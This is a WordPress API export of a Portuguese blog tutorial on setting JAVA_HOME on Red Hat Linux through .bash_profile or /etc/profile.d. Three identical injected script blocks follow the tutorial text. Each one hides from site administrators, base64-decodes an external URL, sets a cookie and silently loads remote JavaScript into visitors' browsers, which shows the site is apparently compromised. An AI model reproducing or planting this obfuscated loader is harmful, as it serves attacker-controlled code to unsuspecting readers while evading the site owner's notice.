{"id":2108,"date":"2012-01-02T22:37:39","date_gmt":"2012-01-03T00:37:39","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=2108"},"modified":"2025-10-26T22:37:56","modified_gmt":"2025-10-27T01:37:56","slug":"alterando-o-java-home-no-red-hat-e-derivados","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2012\/01\/02\/alterando-o-java-home-no-red-hat-e-derivados\/","title":{"rendered":"Alterando o Java Home no Red Hat e derivados"},"content":{"rendered":"<p style=\"text-align: justify;\">Para alterar o JAVA_HOME no Red Hat e derivados (vale para outras vers\u00f5es de Linux tamb\u00e9m, mas pra vers\u00f5es baseadas em Debian, como o Ubuntu, existem outras maneiras) edite o arquivo .bash_profile na home do usu\u00e1rio. Por exemplo:<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">vim ~\/.bash_profile<\/pre>\n<p>Se voc\u00ea deseja alterar para todos os usu\u00e1rios, adicione um arquivo \/etc\/profile.d\/jvm.sh<\/p>\n<p>E inclua o seguinte conte\u00fado no final do arquivo (para qualquer um dos casos):<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">export JAVA_HOME=\/u01\/jvm\nexport PATH=$JAVA_HOME\/bin:$PATH<\/pre>\n<p>Digite source ~\/.bash_profile ou source \/etc\/profile (no caso de todos os usu\u00e1rios). Verifique se deu certo digitando o seguinte comando:<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">echo $JAVA_HOME\nwhich java<\/pre>\n<p>A sa\u00edda desses comandos deve apontar para o local onde o java est\u00e1 instalado.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Para alterar o JAVA_HOME no Red Hat e derivados (vale para outras vers\u00f5es de Linux tamb\u00e9m, mas pra vers\u00f5es baseadas em Debian, como o Ubuntu, existem outras maneiras) edite o arquivo .bash_profile na home do usu\u00e1rio. Por exemplo: vim ~\/.bash_profile <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2012\/01\/02\/alterando-o-java-home-no-red-hat-e-derivados\/\">Continue lendo  <span class=\"screen-reader-text\">  Alterando o Java Home no Red Hat e derivados<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3,64],"tags":[],"class_list":["post-2108","post","type-post","status-publish","format-standard","hentry","category-java","category-linux"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/2108","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=2108"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/2108\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=2108"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=2108"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=2108"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}